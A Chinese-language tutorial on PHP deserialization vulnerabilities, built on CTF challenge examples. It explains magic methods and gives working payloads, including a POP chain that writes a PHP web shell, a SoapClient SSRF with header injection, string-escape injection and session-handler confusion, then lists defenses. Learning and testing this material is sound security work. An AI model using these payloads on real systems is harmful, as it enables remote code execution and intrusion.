反序列化的那些事儿
字数 1540 2025-08-13 21:33:25
PHP反序列化漏洞详解
一、反序列化基础概念
反序列化是将序列化的数据重新转换为原始数据结构的过程。在PHP中,unserialize()函数用于执行此操作,但如果不当使用会导致严重的安全漏洞。
二、PHP魔法函数
理解反序列化必须先了解PHP的魔法函数(Magic Methods),它们在特定时机自动触发:
__sleep()- 对象被序列化之前运行__wakeup()- 反序列化之后立即调用(当反序列化时变量个数与实际不符时会绕过)__construct()- 对象创建时触发,进行初始化__destruct()- 对象销毁时触发__toString()- 对象被当作字符串使用时触发__call()- 在对象上下文中调用不可访问的方法时触发__callStatic()- 在静态上下文中调用不可访问的方法时触发__get()- 从不可访问的属性读取数据时调用__set()- 向不可访问的属性写入数据时调用__isset()- 在不可访问的属性上调用isset()或empty()时触发__unset()- 在不可访问的属性上使用unset()时触发__invoke()- 当脚本尝试将对象调用为函数时触发
三、序列化属性格式
不同可见性属性的序列化格式:
- private变量:
\x00类名\x00变量名 - protected变量:
\x00*\x00变量名 - public变量:直接显示变量名
四、反序列化漏洞利用场景
场景1:简单属性修改
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}
}
}
利用方法:
- 构造一个
ctfShowUser对象 - 将
isVip属性设为true - 序列化该对象并通过Cookie传递
Payload构造:
class ctfShowUser{
public $isVip=true;
public $username='a';
public $password='a';
}
$o=new ctfShowUser();
echo serialize($o);
场景2:利用__destruct和危险函数
class ctfShowUser{
private $class;
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
利用方法:
- 创建
ctfShowUser对象 - 将其
class属性设置为backDoor对象 - 在
backDoor对象中设置恶意代码
Payload构造:
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code;
public function __construct(){
$this->code='file_put_contents("./shell.php","<?php @eval(\$_POST[1]);?>");';
}
}
$o=new ctfShowUser();
echo urlencode(serialize($o));
场景3:原生类利用(SoapClient SSRF)
$vip = unserialize($_GET['vip']);
$vip->getFlag();
利用方法:
使用SoapClient类进行SSRF请求,绕过IP限制
Payload构造:
$payload= array(
'user_agent' => "Flowers_BeiCheng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
'uri' => 'Flowers_BeiCheng',
'location' => 'http://127.0.0.1/flag.php'
);
$a = new SoapClient(null,$payload);
echo urlencode(serialize($a));
场景4:字符串逃逸
$umsg = str_replace('fuck', 'loveU', serialize($msg));
利用方法:
利用字符串替换导致的序列化结构破坏,注入恶意属性
Payload构造:
f=1&m=1&t=fuckfuckfuck...fuck";s:5:"token";s:5:"admin";}
(需要27个fuck,因为每次替换增加1字符,共需增加27字符)
场景5:session反序列化
处理器差异:
php:键名+竖线+序列化值php_binary:键名长度ASCII+键名+序列化值php_serialize:序列化后的数组
安全问题:
当序列化和反序列化使用的处理器不同时,可能导致数据被错误解析。
利用方法:
- 使用
php_serialize处理器写入session - 使用
php处理器读取时,|后的内容会被反序列化
Payload构造:
class User{
public $username;
public $password;
}
$o=new User('shell.php','<?php @eval($_POST[1]);?>');
echo base64_encode('|'.serialize($o));
五、防御措施
- 不要反序列化不可信数据
- 使用
json_encode()/json_decode()替代 - 实现
__wakeup()或__destruct()时进行安全检查 - 使用PHP 7的
allowed_classes选项限制反序列化的类 - 保持序列化和反序列化使用相同的处理器
六、高级利用技巧
- POP链构造:通过多个类的魔法方法串联形成利用链
- 框架漏洞利用:研究ThinkPHP、Yii等框架的反序列化链
- phar反序列化:通过phar协议触发反序列化
- 类型混淆:利用PHP弱类型特性绕过检查
通过深入理解这些技术点,安全研究人员可以更好地发现和防御反序列化漏洞,开发者也能够编写更安全的代码。